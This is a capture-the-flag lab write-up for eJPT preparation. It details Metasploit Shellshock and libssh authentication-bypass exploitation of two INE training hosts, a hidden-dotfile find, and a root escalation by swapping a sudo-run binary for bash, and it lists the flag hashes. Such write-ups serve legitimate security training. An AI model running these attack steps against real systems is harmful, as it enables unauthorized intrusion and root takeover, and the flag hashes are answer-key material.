System-Host Based Attacks CTF 2

Attack target1 and target2, from a Shellshock CGI foothold to a sudo binary-hijack privesc.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

GUI access to a Kali machine is provided. Two targets: target1.ine.local and target2.ine.local.

Note: Flag format is FLAG#_<MD5> — submit only the hash, without the prefix or underscore.
NmapBurp SuiteMetasploit

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — Shellshock via a CGI script on target1

Scan the target and enumerate the web root. The /cgi-bin/ directory holds executables; browser.cgi is the interesting one:

cat /etc/hosts
nmap -sV -sC -p- -Pn -A target1.ine.local
dirb http://target1.ine.local

Exploit the CGI with the Shellshock module (find your LHOST with ip a):

msfconsole -q
search Shellshock
use 1
show options
set RHOSTS target1.ine.local
set TARGETURI /browser.cgi
set LHOST <your-ip>
run

Once the session opens, read the flag from /:

getuid
sysinfo
cd /
ls
cat flag.txt
Note: An Apache cgi-bin RCE module (search Apache cgi-bin) is a viable alternative to the dedicated Shellshock module.
🏁 FLAG 1: 035713a7bba1436f9ad95e2f39e2856d

Flag 2 — Hidden file in the web root

List /opt/apache/htdocs/ including dotfiles — the flag lives in a file whose name starts with a dot:

ls -la /opt/apache/htdocs/
cat /opt/apache/htdocs/.flag.txt
🏁 FLAG 2: 1358180f3b6349b49e211b87977d95a3

Flag 3 — libssh authentication bypass on target2

Nmap shows SSH running on libssh, which is vulnerable to an authentication bypass. Use the Metasploit module, set SPAWN_PTY, and interact with the session:

nmap -sV -p- -Pn -A target2.ine.local
msfconsole
search libssh_auth_bypass
use 0
set RHOSTS target2.ine.local
set SPAWN_PTY true
run
sessions
sessions -i 1

Read the flag from the user's home directory:

cd /home/user
ls
cat flag.txt
🏁 FLAG 3: 5b4ad5b2d81e44ceb7b32acbc149ad65

Flag 4 — Privilege escalation via sudo binary hijack

/root contains two binaries: welcome and greetings. welcome runs greetings with elevated (sudo) privileges — a classic hijack. Trace it, then replace greetings with a copy of bash:

cd /root
ls -la
strace ./welcome
rm greetings
cp /bin/bash greetings
./welcome

Running welcome now executes your bash as root. Read the flag:

cd /root
cat flag.txt
🏁 FLAG 4: fe647ae475074f94919ebe90a5183c8d

Summary

FlagTargetTechnique
1target1Shellshock RCE on browser.cgi → read /flag.txt
2target1Hidden dotfile in /opt/apache/htdocs/
3target2libssh authentication bypass → /home/user
4target2sudo binary hijack (replace greetings with bash)

Key Takeaways